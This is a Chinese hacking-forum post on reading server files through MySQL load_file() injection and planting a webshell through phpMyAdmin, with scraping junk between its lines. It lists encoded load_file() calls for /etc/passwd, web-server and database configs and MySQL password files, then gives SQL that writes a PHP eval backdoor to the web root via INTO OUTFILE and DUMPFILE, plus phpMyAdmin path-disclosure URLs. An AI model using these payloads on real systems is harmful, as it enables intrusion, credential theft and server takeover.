中国网络渗透测试联盟
标题:
利用load_file()获取敏感文件与phpmyadmin拿webshell
[打印本页]
作者:
admin
时间:
2013-7-13 19:27
标题:
利用load_file()获取敏感文件与phpmyadmin拿webshell
利用load_file()获取敏感文件与phpmyadmin拿webshell
3 u: q9 Q: \, z& N# H# y
针对MYSQL数据注入时用到的 load_file()函数对其文件查看的相关路径: 1、 replace(load_file(0x2F6574632F706173737764),0x3c,0x20) 2、replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32)) 上面两个是查看一个PHP文件里
# O3 X; l( k' u' g" \( _
针对MYSQL数据注入时用到的 load_file()函数对其文件查看的相关路径:
" K7 [5 D( s$ K3 t
- r( i) e+ @) a6 O5 K+ ]& ]
1、 replace(load_file(0x2F6574632F706173737764),0x3c,0x20)
; S: I. J4 T( [# r, A" ?" o7 S
2、replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))
6 n' Z0 @( T; [2 z+ C3 V
上面两个是查看一个PHP文件里完全显示代码.有些时候不替换一些字符,如 < 替换成空格 返回的是网页.而无法查看到代码.
* p9 E7 X- ?9 P) I. c c0 k
3、 load_file(char(47)) 可以列出FreeBSD,Sunos系统根目录
3 E+ [ e/ W. Y+ j6 f2 F+ }
4、/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件
/ j3 e0 j0 d" c
5、crogram FilesApache GroupApacheconf httpd.conf 或C:apacheconf httpd.conf 查看WINDOWS系统apache文件
8 b; T, u, K; d& P1 I
6、c:/Resin-3.0.14/conf/resin.conf 查看jsp开发的网站 resin文件配置信息.
( _; z# P9 m" ^% k% R6 p. k) z9 g
7、c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf 查看linux系统配置的JSP虚拟主机
* s1 g2 a! X L b" L
8、d:APACHEApache2confhttpd.conf
: W1 N( z! Y( }7 L% H0 h
9、Crogram Filesmysqlmy.ini
: B* x# T! Z. w4 h; w
10、../themes/darkblue_orange/layout.inc.php phpmyadmin 爆路径
$ t7 ^9 c: B: s/ A# p* M* H
11、 c:windowssystem32inetsrvMetaBase.xml 查看IIS的虚拟主机配置文件
k: x# \; n# K( {; Z
12、 /usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看
0 I" x. I G6 m
13、 /usr/local/resin-pro-3.0.22/conf/resin.conf 同上
( m3 }2 H0 V! A9 J
14 、/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看
N3 {# c( j, m. ~; h' y! k
15、 /etc/sysconfig/iptables 本看防火墙策略
) A, \( g: r1 \* Q
16 、 usr/local/app/php5/lib/php.ini PHP 的相当设置
0 T/ P* x" ]) F( Q* d6 b
17 、/etc/my.cnf MYSQL的配置文件
- i" f( h( ?6 ~0 i
18、 /etc/redhat-release 红帽子的系统版本
0 i9 V! J" L, B: `+ E E' X) v2 T3 a
19 、C:mysqldatamysqluser.MYD 存在MYSQL系统中的用户密码
5 h: F4 \( D7 S# R- a- }
20、/etc/sysconfig/network-scripts/ifcfg-eth0 查看IP.
' `0 R3 u6 B' M& C" x
21、/usr/local/app/php5/lib/php.ini //PHP相关设置
, y8 ]" b8 K0 [
22、/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
# s" }. m" L7 u- h3 F
23、crogram FilesRhinoSoft.comServ-UServUDaemon.ini
3 {$ s1 O$ [- n7 V; O
24、c:windowsmy.ini
- ]- U: k+ P' j; D Z9 n2 d# c
---------------------------------------------------------------------------------------------------------------------------------
8 h+ ?: Q9 t! L9 K
1.如何拿到登陆密码. 自己想办法
2 Z1 Q* T* |0 ^3 o6 y
2.访问 : http://url/phpmyadmin/libraries/select_lang.lib.php 得到物理路径.
! J V$ }4 `$ y" q1 t% q
3.选择一个Database.运行以下语句.
- k1 h0 v# P* |' V$ r; J# Z& ?# b
----start code---
( D8 c1 _; n5 v
Create TABLE a (cmd text NOT NULL);
8 f0 R5 N0 K8 J+ u2 I
Insert INTO a (cmd) VALUES('<?php eval($_POST[cmd]);?>');
7 g7 O1 Y- l8 z" K. J! A
select cmd from a into outfile 'x:/phpMyAdmin/libraries/d.php';
* R) \# U* B0 H$ H( B
Drop TABLE IF EXISTS a;
! I0 b8 c' Y) B
----end code---
8 G9 \% g. z6 Z* \: T# k* `
4.如果没什么意外.对应网站得到webshell
6 f( g5 b8 O( F/ D
思路与mssql一样，都是建个表，然后在表中插一句话木马，在导出到web目录！
* F k3 L9 y5 p4 G
补充：还可以直接用dumpfile来得到shell
2 r. V. C4 V2 E8 x6 A) D5 J" \/ H8 R
select 0x3c3f706870206576616c28245f504f53545b636d645d293f3e into DUMPFILE 'C:/XXX/php.php';
8 X) _+ C% N; s% h; {
加密部分为 lanker 一句话 密码为 cmd
; P: z1 U( P! {- ^, m. {4 q
--------------------------------------------------------------------------------------------------------
$ H3 }: j, j( A' n
phpmyadmin的libraries目录多个文件存在绝对路径泄露漏洞- -
( y& ^1 o0 v k" p
, ~/ H; x. e: X- L
http://target/phpmyadmin/libraries/string.lib.php
3 m5 U, B5 {% D: L5 ~ b. M; q
http://target/phpmyadmin/libraries/string.lib.php
+ e/ X/ @ H% B Q7 _2 S" U/ e4 E
http://target/phpmyadmin/libraries/database_interface.lib.php
$ z7 u( I( \$ C. ~
http://target/phpmyadmin/libraries/db_table_exists.lib.php
& O+ D* X: \! @; U
http://target/phpmyadmin/libraries/display_export.lib.php
+ W# n8 E# Q3 D
http://target/phpmyadmin/libraries/header_meta_style.inc.php
' a8 C7 U4 ~, w! h
http://target/phpmyadmin/libraries/mcrypt.lib.php
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2